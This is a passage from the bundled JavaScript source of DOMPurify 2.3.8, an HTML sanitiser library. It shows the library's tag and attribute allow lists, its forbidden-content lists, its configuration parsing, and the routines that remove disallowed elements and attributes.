          if (typeof desc.value === 'function') {
            return unapply(desc.value);
          }
        }
        object = getPrototypeOf(object);
      }
      function fallbackValue(element) {
        console.warn('fallback value for', element);
        return null;
      }
      return fallbackValue;
    }
    var html$1 = freeze([
      'a',
      'abbr',
      'acronym',
      'address',
      'area',
      'article',
      'aside',
      'audio',
      'b',
      'bdi',
      'bdo',
      'big',
      'blink',
      'blockquote',
      'body',
      'br',
      'button',
      'canvas',
      'caption',
      'center',
      'cite',
      'code',
      'col',
      'colgroup',
      'content',
      'data',
      'datalist',
      'dd',
      'decorator',
      'del',
      'details',
      'dfn',
      'dialog',
      'dir',
      'div',
      'dl',
      'dt',
      'element',
      'em',
      'fieldset',
      'figcaption',
      'figure',
      'font',
      'footer',
      'form',
      'h1',
      'h2',
      'h3',
      'h4',
      'h5',
      'h6',
      'head',
      'header',
      'hgroup',
      'hr',
      'html',
      'i',
      'img',
      'input',
      'ins',
      'kbd',
      'label',
      'legend',
      'li',
      'main',
      'map',
      'mark',
      'marquee',
      'menu',
      'menuitem',
      'meter',
      'nav',
      'nobr',
      'ol',
      'optgroup',
      'option',
      'output',
      'p',
      'picture',
      'pre',
      'progress',
      'q',
      'rp',
      'rt',
      'ruby',
      's',
      'samp',
      'section',
      'select',
      'shadow',
      'small',
      'source',
      'spacer',
      'span',
      'strike',
      'strong',
      'style',
      'sub',
      'summary',
      'sup',
      'table',
      'tbody',
      'td',
      'template',
      'textarea',
      'tfoot',
      'th',
      'thead',
      'time',
      'tr',
      'track',
      'tt',
      'u',
      'ul',
      'var',
      'video',
      'wbr'
    ]);
    var svg$1 = freeze([
      'svg',
      'a',
      'altglyph',
      'altglyphdef',
      'altglyphitem',
      'animatecolor',
      'animatemotion',
      'animatetransform',
      'circle',
      'clippath',
      'defs',
      'desc',
      'ellipse',
      'filter',
      'font',
      'g',
      'glyph',
      'glyphref',
      'hkern',
      'image',
      'line',
      'lineargradient',
      'marker',
      'mask',
      'metadata',
      'mpath',
      'path',
      'pattern',
      'polygon',
      'polyline',
      'radialgradient',
      'rect',
      'stop',
      'style',
      'switch',
      'symbol',
      'text',
      'textpath',
      'title',
      'tref',
      'tspan',
      'view',
      'vkern'
    ]);
    var svgFilters = freeze([
      'feBlend',
      'feColorMatrix',
      'feComponentTransfer',
      'feComposite',
      'feConvolveMatrix',
      'feDiffuseLighting',
      'feDisplacementMap',
      'feDistantLight',
      'feFlood',
      'feFuncA',
      'feFuncB',
      'feFuncG',
      'feFuncR',
      'feGaussianBlur',
      'feImage',
      'feMerge',
      'feMergeNode',
      'feMorphology',
      'feOffset',
      'fePointLight',
      'feSpecularLighting',
      'feSpotLight',
      'feTile',
      'feTurbulence'
    ]);
    var svgDisallowed = freeze([
      'animate',
      'color-profile',
      'cursor',
      'discard',
      'fedropshadow',
      'font-face',
      'font-face-format',
      'font-face-name',
      'font-face-src',
      'font-face-uri',
      'foreignobject',
      'hatch',
      'hatchpath',
      'mesh',
      'meshgradient',
      'meshpatch',
      'meshrow',
      'missing-glyph',
      'script',
      'set',
      'solidcolor',
      'unknown',
      'use'
    ]);
    var mathMl$1 = freeze([
      'math',
      'menclose',
      'merror',
      'mfenced',
      'mfrac',
      'mglyph',
      'mi',
      'mlabeledtr',
      'mmultiscripts',
      'mn',
      'mo',
      'mover',
      'mpadded',
      'mphantom',
      'mroot',
      'mrow',
      'ms',
      'mspace',
      'msqrt',
      'mstyle',
      'msub',
      'msup',
      'msubsup',
      'mtable',
      'mtd',
      'mtext',
      'mtr',
      'munder',
      'munderover'
    ]);
    var mathMlDisallowed = freeze([
      'maction',
      'maligngroup',
      'malignmark',
      'mlongdiv',
      'mscarries',
      'mscarry',
      'msgroup',
      'mstack',
      'msline',
      'msrow',
      'semantics',
      'annotation',
      'annotation-xml',
      'mprescripts',
      'none'
    ]);
    var text = freeze(['#text']);
    var html = freeze([
      'accept',
      'action',
      'align',
      'alt',
      'autocapitalize',
      'autocomplete',
      'autopictureinpicture',
      'autoplay',
      'background',
      'bgcolor',
      'border',
      'capture',
      'cellpadding',
      'cellspacing',
      'checked',
      'cite',
      'class',
      'clear',
      'color',
      'cols',
      'colspan',
      'controls',
      'controlslist',
      'coords',
      'crossorigin',
      'datetime',
      'decoding',
      'default',
      'dir',
      'disabled',
      'disablepictureinpicture',
      'disableremoteplayback',
      'download',
      'draggable',
      'enctype',
      'enterkeyhint',
      'face',
      'for',
      'headers',
      'height',
      'hidden',
      'high',
      'href',
      'hreflang',
      'id',
      'inputmode',
      'integrity',
      'ismap',
      'kind',
      'label',
      'lang',
      'list',
      'loading',
      'loop',
      'low',
      'max',
      'maxlength',
      'media',
      'method',
      'min',
      'minlength',
      'multiple',
      'muted',
      'name',
      'nonce',
      'noshade',
      'novalidate',
      'nowrap',
      'open',
      'optimum',
      'pattern',
      'placeholder',
      'playsinline',
      'poster',
      'preload',
      'pubdate',
      'radiogroup',
      'readonly',
      'rel',
      'required',
      'rev',
      'reversed',
      'role',
      'rows',
      'rowspan',
      'spellcheck',
      'scope',
      'selected',
      'shape',
      'size',
      'sizes',
      'span',
      'srclang',
      'start',
      'src',
      'srcset',
      'step',
      'style',
      'summary',
      'tabindex',
      'title',
      'translate',
      'type',
      'usemap',
      'valign',
      'value',
      'width',
      'xmlns',
      'slot'
    ]);
    var svg = freeze([
      'accent-height',
      'accumulate',
      'additive',
      'alignment-baseline',
      'ascent',
      'attributename',
      'attributetype',
      'azimuth',
      'basefrequency',
      'baseline-shift',
      'begin',
      'bias',
      'by',
      'class',
      'clip',
      'clippathunits',
      'clip-path',
      'clip-rule',
      'color',
      'color-interpolation',
      'color-interpolation-filters',
      'color-profile',
      'color-rendering',
      'cx',
      'cy',
      'd',
      'dx',
      'dy',
      'diffuseconstant',
      'direction',
      'display',
      'divisor',
      'dur',
      'edgemode',
      'elevation',
      'end',
      'fill',
      'fill-opacity',
      'fill-rule',
      'filter',
      'filterunits',
      'flood-color',
      'flood-opacity',
      'font-family',
      'font-size',
      'font-size-adjust',
      'font-stretch',
      'font-style',
      'font-variant',
      'font-weight',
      'fx',
      'fy',
      'g1',
      'g2',
      'glyph-name',
      'glyphref',
      'gradientunits',
      'gradienttransform',
      'height',
      'href',
      'id',
      'image-rendering',
      'in',
      'in2',
      'k',
      'k1',
      'k2',
      'k3',
      'k4',
      'kerning',
      'keypoints',
      'keysplines',
      'keytimes',
      'lang',
      'lengthadjust',
      'letter-spacing',
      'kernelmatrix',
      'kernelunitlength',
      'lighting-color',
      'local',
      'marker-end',
      'marker-mid',
      'marker-start',
      'markerheight',
      'markerunits',
      'markerwidth',
      'maskcontentunits',
      'maskunits',
      'max',
      'mask',
      'media',
      'method',
      'mode',
      'min',
      'name',
      'numoctaves',
      'offset',
      'operator',
      'opacity',
      'order',
      'orient',
      'orientation',
      'origin',
      'overflow',
      'paint-order',
      'path',
      'pathlength',
      'patterncontentunits',
      'patterntransform',
      'patternunits',
      'points',
      'preservealpha',
      'preserveaspectratio',
      'primitiveunits',
      'r',
      'rx',
      'ry',
      'radius',
      'refx',
      'refy',
      'repeatcount',
      'repeatdur',
      'restart',
      'result',
      'rotate',
      'scale',
      'seed',
      'shape-rendering',
      'specularconstant',
      'specularexponent',
      'spreadmethod',
      'startoffset',
      'stddeviation',
      'stitchtiles',
      'stop-color',
      'stop-opacity',
      'stroke-dasharray',
      'stroke-dashoffset',
      'stroke-linecap',
      'stroke-linejoin',
      'stroke-miterlimit',
      'stroke-opacity',
      'stroke',
      'stroke-width',
      'style',
      'surfacescale',
      'systemlanguage',
      'tabindex',
      'targetx',
      'targety',
      'transform',
      'transform-origin',
      'text-anchor',
      'text-decoration',
      'text-rendering',
      'textlength',
      'type',
      'u1',
      'u2',
      'unicode',
      'values',
      'viewbox',
      'visibility',
      'version',
      'vert-adv-y',
      'vert-origin-x',
      'vert-origin-y',
      'width',
      'word-spacing',
      'wrap',
      'writing-mode',
      'xchannelselector',
      'ychannelselector',
      'x',
      'x1',
      'x2',
      'xmlns',
      'y',
      'y1',
      'y2',
      'z',
      'zoomandpan'
    ]);
    var mathMl = freeze([
      'accent',
      'accentunder',
      'align',
      'bevelled',
      'close',
      'columnsalign',
      'columnlines',
      'columnspan',
      'denomalign',
      'depth',
      'dir',
      'display',
      'displaystyle',
      'encoding',
      'fence',
      'frame',
      'height',
      'href',
      'id',
      'largeop',
      'length',
      'linethickness',
      'lspace',
      'lquote',
      'mathbackground',
      'mathcolor',
      'mathsize',
      'mathvariant',
      'maxsize',
      'minsize',
      'movablelimits',
      'notation',
      'numalign',
      'open',
      'rowalign',
      'rowlines',
      'rowspacing',
      'rowspan',
      'rspace',
      'rquote',
      'scriptlevel',
      'scriptminsize',
      'scriptsizemultiplier',
      'selection',
      'separator',
      'separators',
      'stretchy',
      'subscriptshift',
      'supscriptshift',
      'symmetric',
      'voffset',
      'width',
      'xmlns'
    ]);
    var xml = freeze([
      'xlink:href',
      'xml:id',
      'xlink:title',
      'xml:space',
      'xmlns:xlink'
    ]);
    var MUSTACHE_EXPR = seal(/\{\{[\w\W]*|[\w\W]*\}\}/gm);
    var ERB_EXPR = seal(/<%[\w\W]*|[\w\W]*%>/gm);
    var DATA_ATTR = seal(/^data-[\-\w.\u00B7-\uFFFF]/);
    var ARIA_ATTR = seal(/^aria-[\-\w]+$/);
    var IS_ALLOWED_URI = seal(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|cid|xmpp):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i);
    var IS_SCRIPT_OR_DATA = seal(/^(?:\w+script|data):/i);
    var ATTR_WHITESPACE = seal(/[\u0000-\u0020\u00A0\u1680\u180E\u2000-\u2029\u205F\u3000]/g);
    var DOCTYPE_NAME = seal(/^html$/i);
    var getGlobal = function getGlobal() {
      return typeof window === 'undefined' ? null : window;
    };
    var _createTrustedTypesPolicy = function _createTrustedTypesPolicy(trustedTypes, document) {
      if (_typeof(trustedTypes) !== 'object' || typeof trustedTypes.createPolicy !== 'function') {
        return null;
      }
      var suffix = null;
      var ATTR_NAME = 'data-tt-policy-suffix';
      if (document.currentScript && document.currentScript.hasAttribute(ATTR_NAME)) {
        suffix = document.currentScript.getAttribute(ATTR_NAME);
      }
      var policyName = 'dompurify' + (suffix ? '#' + suffix : '');
      try {
        return trustedTypes.createPolicy(policyName, {
          createHTML: function createHTML(html) {
            return html;
          }
        });
      } catch (_) {
        console.warn('TrustedTypes policy ' + policyName + ' could not be created.');
        return null;
      }
    };
    function createDOMPurify() {
      var window = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : getGlobal();
      var DOMPurify = function DOMPurify(root) {
        return createDOMPurify(root);
      };
      DOMPurify.version = '2.3.8';
      DOMPurify.removed = [];
      if (!window || !window.document || window.document.nodeType !== 9) {
        DOMPurify.isSupported = false;
        return DOMPurify;
      }
      var originalDocument = window.document;
      var document = window.document;
      var DocumentFragment = window.DocumentFragment, HTMLTemplateElement = window.HTMLTemplateElement, Node = window.Node, Element = window.Element, NodeFilter = window.NodeFilter, _window$NamedNodeMap = window.NamedNodeMap, NamedNodeMap = _window$NamedNodeMap === void 0 ? window.NamedNodeMap || window.MozNamedAttrMap : _window$NamedNodeMap, HTMLFormElement = window.HTMLFormElement, DOMParser = window.DOMParser, trustedTypes = window.trustedTypes;
      var ElementPrototype = Element.prototype;
      var cloneNode = lookupGetter(ElementPrototype, 'cloneNode');
      var getNextSibling = lookupGetter(ElementPrototype, 'nextSibling');
      var getChildNodes = lookupGetter(ElementPrototype, 'childNodes');
      var getParentNode = lookupGetter(ElementPrototype, 'parentNode');
      if (typeof HTMLTemplateElement === 'function') {
        var template = document.createElement('template');
        if (template.content && template.content.ownerDocument) {
          document = template.content.ownerDocument;
        }
      }
      var trustedTypesPolicy = _createTrustedTypesPolicy(trustedTypes, originalDocument);
      var emptyHTML = trustedTypesPolicy ? trustedTypesPolicy.createHTML('') : '';
      var _document = document, implementation = _document.implementation, createNodeIterator = _document.createNodeIterator, createDocumentFragment = _document.createDocumentFragment, getElementsByTagName = _document.getElementsByTagName;
      var importNode = originalDocument.importNode;
      var documentMode = {};
      try {
        documentMode = clone(document).documentMode ? document.documentMode : {};
      } catch (_) {
      }
      var hooks = {};
      DOMPurify.isSupported = typeof getParentNode === 'function' && implementation && typeof implementation.createHTMLDocument !== 'undefined' && documentMode !== 9;
      var MUSTACHE_EXPR$1 = MUSTACHE_EXPR, ERB_EXPR$1 = ERB_EXPR, DATA_ATTR$1 = DATA_ATTR, ARIA_ATTR$1 = ARIA_ATTR, IS_SCRIPT_OR_DATA$1 = IS_SCRIPT_OR_DATA, ATTR_WHITESPACE$1 = ATTR_WHITESPACE;
      var IS_ALLOWED_URI$1 = IS_ALLOWED_URI;
      var ALLOWED_TAGS = null;
      var DEFAULT_ALLOWED_TAGS = addToSet({}, [].concat(_toConsumableArray(html$1), _toConsumableArray(svg$1), _toConsumableArray(svgFilters), _toConsumableArray(mathMl$1), _toConsumableArray(text)));
      var ALLOWED_ATTR = null;
      var DEFAULT_ALLOWED_ATTR = addToSet({}, [].concat(_toConsumableArray(html), _toConsumableArray(svg), _toConsumableArray(mathMl), _toConsumableArray(xml)));
      var CUSTOM_ELEMENT_HANDLING = Object.seal(Object.create(null, {
        tagNameCheck: {
          writable: true,
          configurable: false,
          enumerable: true,
          value: null
        },
        attributeNameCheck: {
          writable: true,
          configurable: false,
          enumerable: true,
          value: null
        },
        allowCustomizedBuiltInElements: {
          writable: true,
          configurable: false,
          enumerable: true,
          value: false
        }
      }));
      var FORBID_TAGS = null;
      var FORBID_ATTR = null;
      var ALLOW_ARIA_ATTR = true;
      var ALLOW_DATA_ATTR = true;
      var ALLOW_UNKNOWN_PROTOCOLS = false;
      var SAFE_FOR_TEMPLATES = false;
      var WHOLE_DOCUMENT = false;
      var SET_CONFIG = false;
      var FORCE_BODY = false;
      var RETURN_DOM = false;
      var RETURN_DOM_FRAGMENT = false;
      var RETURN_TRUSTED_TYPE = false;
      var SANITIZE_DOM = true;
      var KEEP_CONTENT = true;
      var IN_PLACE = false;
      var USE_PROFILES = {};
      var FORBID_CONTENTS = null;
      var DEFAULT_FORBID_CONTENTS = addToSet({}, [
        'annotation-xml',
        'audio',
        'colgroup',
        'desc',
        'foreignobject',
        'head',
        'iframe',
        'math',
        'mi',
        'mn',
        'mo',
        'ms',
        'mtext',
        'noembed',
        'noframes',
        'noscript',
        'plaintext',
        'script',
        'style',
        'svg',
        'template',
        'thead',
        'title',
        'video',
        'xmp'
      ]);
      var DATA_URI_TAGS = null;
      var DEFAULT_DATA_URI_TAGS = addToSet({}, [
        'audio',
        'video',
        'img',
        'source',
        'image',
        'track'
      ]);
      var URI_SAFE_ATTRIBUTES = null;
      var DEFAULT_URI_SAFE_ATTRIBUTES = addToSet({}, [
        'alt',
        'class',
        'for',
        'id',
        'label',
        'name',
        'pattern',
        'placeholder',
        'role',
        'summary',
        'title',
        'value',
        'style',
        'xmlns'
      ]);
      var MATHML_NAMESPACE = 'http://www.w3.org/1998/Math/MathML';
      var SVG_NAMESPACE = 'http://www.w3.org/2000/svg';
      var HTML_NAMESPACE = 'http://www.w3.org/1999/xhtml';
      var NAMESPACE = HTML_NAMESPACE;
      var IS_EMPTY_INPUT = false;
      var PARSER_MEDIA_TYPE;
      var SUPPORTED_PARSER_MEDIA_TYPES = [
        'application/xhtml+xml',
        'text/html'
      ];
      var DEFAULT_PARSER_MEDIA_TYPE = 'text/html';
      var transformCaseFunc;
      var CONFIG = null;
      var formElement = document.createElement('form');
      var isRegexOrFunction = function isRegexOrFunction(testValue) {
        return testValue instanceof RegExp || testValue instanceof Function;
      };
      var _parseConfig = function _parseConfig(cfg) {
        if (CONFIG && CONFIG === cfg) {
          return;
        }
        if (!cfg || _typeof(cfg) !== 'object') {
          cfg = {};
        }
        cfg = clone(cfg);
        ALLOWED_TAGS = 'ALLOWED_TAGS' in cfg ? addToSet({}, cfg.ALLOWED_TAGS) : DEFAULT_ALLOWED_TAGS;
        ALLOWED_ATTR = 'ALLOWED_ATTR' in cfg ? addToSet({}, cfg.ALLOWED_ATTR) : DEFAULT_ALLOWED_ATTR;
        URI_SAFE_ATTRIBUTES = 'ADD_URI_SAFE_ATTR' in cfg ? addToSet(clone(DEFAULT_URI_SAFE_ATTRIBUTES), cfg.ADD_URI_SAFE_ATTR) : DEFAULT_URI_SAFE_ATTRIBUTES;
        DATA_URI_TAGS = 'ADD_DATA_URI_TAGS' in cfg ? addToSet(clone(DEFAULT_DATA_URI_TAGS), cfg.ADD_DATA_URI_TAGS) : DEFAULT_DATA_URI_TAGS;
        FORBID_CONTENTS = 'FORBID_CONTENTS' in cfg ? addToSet({}, cfg.FORBID_CONTENTS) : DEFAULT_FORBID_CONTENTS;
        FORBID_TAGS = 'FORBID_TAGS' in cfg ? addToSet({}, cfg.FORBID_TAGS) : {};
        FORBID_ATTR = 'FORBID_ATTR' in cfg ? addToSet({}, cfg.FORBID_ATTR) : {};
        USE_PROFILES = 'USE_PROFILES' in cfg ? cfg.USE_PROFILES : false;
        ALLOW_ARIA_ATTR = cfg.ALLOW_ARIA_ATTR !== false;
        ALLOW_DATA_ATTR = cfg.ALLOW_DATA_ATTR !== false;
        ALLOW_UNKNOWN_PROTOCOLS = cfg.ALLOW_UNKNOWN_PROTOCOLS || false;
        SAFE_FOR_TEMPLATES = cfg.SAFE_FOR_TEMPLATES || false;
        WHOLE_DOCUMENT = cfg.WHOLE_DOCUMENT || false;
        RETURN_DOM = cfg.RETURN_DOM || false;
        RETURN_DOM_FRAGMENT = cfg.RETURN_DOM_FRAGMENT || false;
        RETURN_TRUSTED_TYPE = cfg.RETURN_TRUSTED_TYPE || false;
        FORCE_BODY = cfg.FORCE_BODY || false;
        SANITIZE_DOM = cfg.SANITIZE_DOM !== false;
        KEEP_CONTENT = cfg.KEEP_CONTENT !== false;
        IN_PLACE = cfg.IN_PLACE || false;
        IS_ALLOWED_URI$1 = cfg.ALLOWED_URI_REGEXP || IS_ALLOWED_URI$1;
        NAMESPACE = cfg.NAMESPACE || HTML_NAMESPACE;
        if (cfg.CUSTOM_ELEMENT_HANDLING && isRegexOrFunction(cfg.CUSTOM_ELEMENT_HANDLING.tagNameCheck)) {
          CUSTOM_ELEMENT_HANDLING.tagNameCheck = cfg.CUSTOM_ELEMENT_HANDLING.tagNameCheck;
        }
        if (cfg.CUSTOM_ELEMENT_HANDLING && isRegexOrFunction(cfg.CUSTOM_ELEMENT_HANDLING.attributeNameCheck)) {
          CUSTOM_ELEMENT_HANDLING.attributeNameCheck = cfg.CUSTOM_ELEMENT_HANDLING.attributeNameCheck;
        }
        if (cfg.CUSTOM_ELEMENT_HANDLING && typeof cfg.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements === 'boolean') {
          CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements = cfg.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements;
        }
        PARSER_MEDIA_TYPE = SUPPORTED_PARSER_MEDIA_TYPES.indexOf(cfg.PARSER_MEDIA_TYPE) === -1 ? PARSER_MEDIA_TYPE = DEFAULT_PARSER_MEDIA_TYPE : PARSER_MEDIA_TYPE = cfg.PARSER_MEDIA_TYPE;
        transformCaseFunc = PARSER_MEDIA_TYPE === 'application/xhtml+xml' ? function (x) {
          return x;
        } : stringToLowerCase;
        if (SAFE_FOR_TEMPLATES) {
          ALLOW_DATA_ATTR = false;
        }
        if (RETURN_DOM_FRAGMENT) {
          RETURN_DOM = true;
        }
        if (USE_PROFILES) {
          ALLOWED_TAGS = addToSet({}, _toConsumableArray(text));
          ALLOWED_ATTR = [];
          if (USE_PROFILES.html === true) {
            addToSet(ALLOWED_TAGS, html$1);
            addToSet(ALLOWED_ATTR, html);
          }
          if (USE_PROFILES.svg === true) {
            addToSet(ALLOWED_TAGS, svg$1);
            addToSet(ALLOWED_ATTR, svg);
            addToSet(ALLOWED_ATTR, xml);
          }
          if (USE_PROFILES.svgFilters === true) {
            addToSet(ALLOWED_TAGS, svgFilters);
            addToSet(ALLOWED_ATTR, svg);
            addToSet(ALLOWED_ATTR, xml);
          }
          if (USE_PROFILES.mathMl === true) {
            addToSet(ALLOWED_TAGS, mathMl$1);
            addToSet(ALLOWED_ATTR, mathMl);
            addToSet(ALLOWED_ATTR, xml);
          }
        }
        if (cfg.ADD_TAGS) {
          if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS) {
            ALLOWED_TAGS = clone(ALLOWED_TAGS);
          }
          addToSet(ALLOWED_TAGS, cfg.ADD_TAGS);
        }
        if (cfg.ADD_ATTR) {
          if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR) {
            ALLOWED_ATTR = clone(ALLOWED_ATTR);
          }
          addToSet(ALLOWED_ATTR, cfg.ADD_ATTR);
        }
        if (cfg.ADD_URI_SAFE_ATTR) {
          addToSet(URI_SAFE_ATTRIBUTES, cfg.ADD_URI_SAFE_ATTR);
        }
        if (cfg.FORBID_CONTENTS) {
          if (FORBID_CONTENTS === DEFAULT_FORBID_CONTENTS) {
            FORBID_CONTENTS = clone(FORBID_CONTENTS);
          }
          addToSet(FORBID_CONTENTS, cfg.FORBID_CONTENTS);
        }
        if (KEEP_CONTENT) {
          ALLOWED_TAGS['#text'] = true;
        }
        if (WHOLE_DOCUMENT) {
          addToSet(ALLOWED_TAGS, [
            'html',
            'head',
            'body'
          ]);
        }
        if (ALLOWED_TAGS.table) {
          addToSet(ALLOWED_TAGS, ['tbody']);
          delete FORBID_TAGS.tbody;
        }
        if (freeze) {
          freeze(cfg);
        }
        CONFIG = cfg;
      };
      var MATHML_TEXT_INTEGRATION_POINTS = addToSet({}, [
        'mi',
        'mo',
        'mn',
        'ms',
        'mtext'
      ]);
      var HTML_INTEGRATION_POINTS = addToSet({}, [
        'foreignobject',
        'desc',
        'title',
        'annotation-xml'
      ]);
      var COMMON_SVG_AND_HTML_ELEMENTS = addToSet({}, [
        'title',
        'style',
        'font',
        'a',
        'script'
      ]);
      var ALL_SVG_TAGS = addToSet({}, svg$1);
      addToSet(ALL_SVG_TAGS, svgFilters);
      addToSet(ALL_SVG_TAGS, svgDisallowed);
      var ALL_MATHML_TAGS = addToSet({}, mathMl$1);
      addToSet(ALL_MATHML_TAGS, mathMlDisallowed);
      var _checkValidNamespace = function _checkValidNamespace(element) {
        var parent = getParentNode(element);
        if (!parent || !parent.tagName) {
          parent = {
            namespaceURI: HTML_NAMESPACE,
            tagName: 'template'
          };
        }
        var tagName = stringToLowerCase(element.tagName);
        var parentTagName = stringToLowerCase(parent.tagName);
        if (element.namespaceURI === SVG_NAMESPACE) {
          if (parent.namespaceURI === HTML_NAMESPACE) {
            return tagName === 'svg';
          }
          if (parent.namespaceURI === MATHML_NAMESPACE) {
            return tagName === 'svg' && (parentTagName === 'annotation-xml' || MATHML_TEXT_INTEGRATION_POINTS[parentTagName]);
          }
          return Boolean(ALL_SVG_TAGS[tagName]);
        }
        if (element.namespaceURI === MATHML_NAMESPACE) {
          if (parent.namespaceURI === HTML_NAMESPACE) {
            return tagName === 'math';
          }
          if (parent.namespaceURI === SVG_NAMESPACE) {
            return tagName === 'math' && HTML_INTEGRATION_POINTS[parentTagName];
          }
          return Boolean(ALL_MATHML_TAGS[tagName]);
        }
        if (element.namespaceURI === HTML_NAMESPACE) {
          if (parent.namespaceURI === SVG_NAMESPACE && !HTML_INTEGRATION_POINTS[parentTagName]) {
            return false;
          }
          if (parent.namespaceURI === MATHML_NAMESPACE && !MATHML_TEXT_INTEGRATION_POINTS[parentTagName]) {
            return false;
          }
          return !ALL_MATHML_TAGS[tagName] && (COMMON_SVG_AND_HTML_ELEMENTS[tagName] || !ALL_SVG_TAGS[tagName]);
        }
        return false;
      };
      var _forceRemove = function _forceRemove(node) {
        arrayPush(DOMPurify.removed, { element: node });
        try {
          node.parentNode.removeChild(node);
        } catch (_) {
          try {
            node.outerHTML = emptyHTML;
          } catch (_) {
            node.remove();
          }
        }
      };
      var _removeAttribute = function _removeAttribute(name, node) {
        try {
          arrayPush(DOMPurify.removed, {
            attribute: node.getAttributeNode(name),
            from: node
          });
        } catch (_) {
          arrayPush(DOMPurify.removed, {
            attribute: null,
            from: node
          });
        }
        node.removeAttribute(name);
        if (name === 'is' && !ALLOWED_ATTR[name]) {
          if (RETURN_DOM || RETURN_DOM_FRAGMENT) {
            try {
              _forceRemove(node);
            } catch (_) {
            }
          } else {
            try {
              node.setAttribute(name, '');
            } catch (_) {
            }
          }
        }
      };
      var _initDocument = function _initDocument(dirty) {
        var doc;
        var leadingWhitespace;
        if (FORCE_BODY) {
          dirty = '<remove></remove>' + dirty;
        } else {
          var matches = stringMatch(dirty, /^[\r\n\t ]+/);
          leadingWhitespace = matches && matches[0];
        }
        if (PARSER_MEDIA_TYPE === 'application/xhtml+xml') {
          dirty = '<html xmlns="http://www.w3.org/1999/xhtml"><head></head><body>' + dirty + '</body></html>';
        }
        var dirtyPayload = trustedTypesPolicy ? trustedTypesPolicy.createHTML(dirty) : dirty;
        if (NAMESPACE === HTML_NAMESPACE) {
          try {
            doc = new DOMParser().parseFromString(dirtyPayload, PARSER_MEDIA_TYPE);
          } catch (_) {
          }
        }
        if (!doc || !doc.documentElement) {
          doc = implementation.createDocument(NAMESPACE, 'template', null);
          try {
            doc.documentElement.innerHTML = IS_EMPTY_INPUT ? '' : dirtyPayload;
          } catch (_) {
          }
        }
        var body = doc.body || doc.documentElement;
        if (dirty && leadingWhitespace) {
          body.insertBefore(document.createTextNode(leadingWhitespace), body.childNodes[0] || null);
        }
        if (NAMESPACE === HTML_NAMESPACE) {
          return getElementsByTagName.call(doc, WHOLE_DOCUMENT ? 'html' : 'body')[0];
        }
        return WHOLE_DOCUMENT ? doc.documentElement : body;
      };
      var _createIterator = function _createIterator(root) {
        return createNodeIterator.call(root.ownerDocument || root, root, NodeFilter.SHOW_ELEMENT | NodeFilter.SHOW_COMMENT | NodeFilter.SHOW_TEXT, null, false);
      };
      var _isClobbered = function _isClobbered(elm) {
        return elm instanceof HTMLFormElement && (typeof elm.nodeName !== 'string' || typeof elm.textContent !== 'string' || typeof elm.removeChild !== 'function' || !(elm.attributes instanceof NamedNodeMap) || typeof elm.removeAttribute !== 'function' || typeof elm.setAttribute !== 'function' || typeof elm.namespaceURI !== 'string' || typeof elm.insertBefore !== 'function');
      };
      var _isNode = function _isNode(object) {
        return _typeof(Node) === 'object' ? object instanceof Node : object && _typeof(object) === 'object' && typeof object.nodeType === 'number' && typeof object.nodeName === 'string';
      };
      var _executeHook = function _executeHook(entryPoint, currentNode, data) {
        if (!hooks[entryPoint]) {
          return;
        }
        arrayForEach(hooks[entryPoint], function (hook) {
          hook.call(DOMPurify, currentNode, data, CONFIG);
        });
      };
      var _sanitizeElements = function _sanitizeElements(currentNode) {
        var content;
        _executeHook('beforeSanitizeElements', currentNode, null);
        if (_isClobbered(currentNode)) {
          _forceRemove(currentNode);
          return true;
        }
        if (regExpTest(/[\u0080-\uFFFF]/, currentNode.nodeName)) {
          _forceRemove(currentNode);
          return true;
        }
        var tagName = transformCaseFunc(currentNode.nodeName);
        _executeHook('uponSanitizeElement', currentNode, {
          tagName: tagName,
          allowedTags: ALLOWED_TAGS
        });
        if (currentNode.hasChildNodes() && !_isNode(currentNode.firstElementChild) && (!_isNode(currentNode.content) || !_isNode(currentNode.content.firstElementChild)) && regExpTest(/<[/\w]/g, currentNode.innerHTML) && regExpTest(/<[/\w]/g, currentNode.textContent)) {
          _forceRemove(currentNode);
          return true;
        }
        if (tagName === 'select' && regExpTest(/<template/i, currentNode.innerHTML)) {
          _forceRemove(currentNode);
          return true;
        }
        if (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) {
          if (!FORBID_TAGS[tagName] && _basicCustomElementTest(tagName)) {
            if (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName))
              return false;
            if (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName))
              return false;
          }
          if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {
            var parentNode = getParentNode(currentNode) || currentNode.parentNode;
            var childNodes = getChildNodes(currentNode) || currentNode.childNodes;
            if (childNodes && parentNode) {
              var childCount = childNodes.length;
              for (var i = childCount - 1; i >= 0; --i) {
                parentNode.insertBefore(cloneNode(childNodes[i], true), getNextSibling(currentNode));
              }
            }
          }
          _forceRemove(currentNode);
          return true;
        }
        if (currentNode instanceof Element && !_checkValidNamespace(currentNode)) {
          _forceRemove(currentNode);
          return true;
        }
        if ((tagName === 'noscript' || tagName === 'noembed') && regExpTest(/<\/no(script|embed)/i, currentNode.innerHTML)) {
          _forceRemove(currentNode);
          return true;
        }
        if (SAFE_FOR_TEMPLATES && currentNode.nodeType === 3) {
          content = currentNode.textContent;
          content = stringReplace(content, MUSTACHE_EXPR$1, ' ');
          content = stringReplace(content, ERB_EXPR$1, ' ');
          if (currentNode.textContent !== content) {
            arrayPush(DOMPurify.removed, { element: currentNode.cloneNode() });
            currentNode.textContent = content;
          }
        }
        _executeHook('afterSanitizeElements', currentNode, null);
        return false;
      };
      var _isValidAttribute = function _isValidAttribute(lcTag, lcName, value) {
        if (SANITIZE_DOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)) {
          return false;
        }
        if (ALLOW_DATA_ATTR && !FORBID_ATTR[lcName] && regExpTest(DATA_ATTR$1, lcName));
        else if (ALLOW_ARIA_ATTR && regExpTest(ARIA_ATTR$1, lcName));
        else if (!ALLOWED_ATTR[lcName] || FORBID_ATTR[lcName]) {
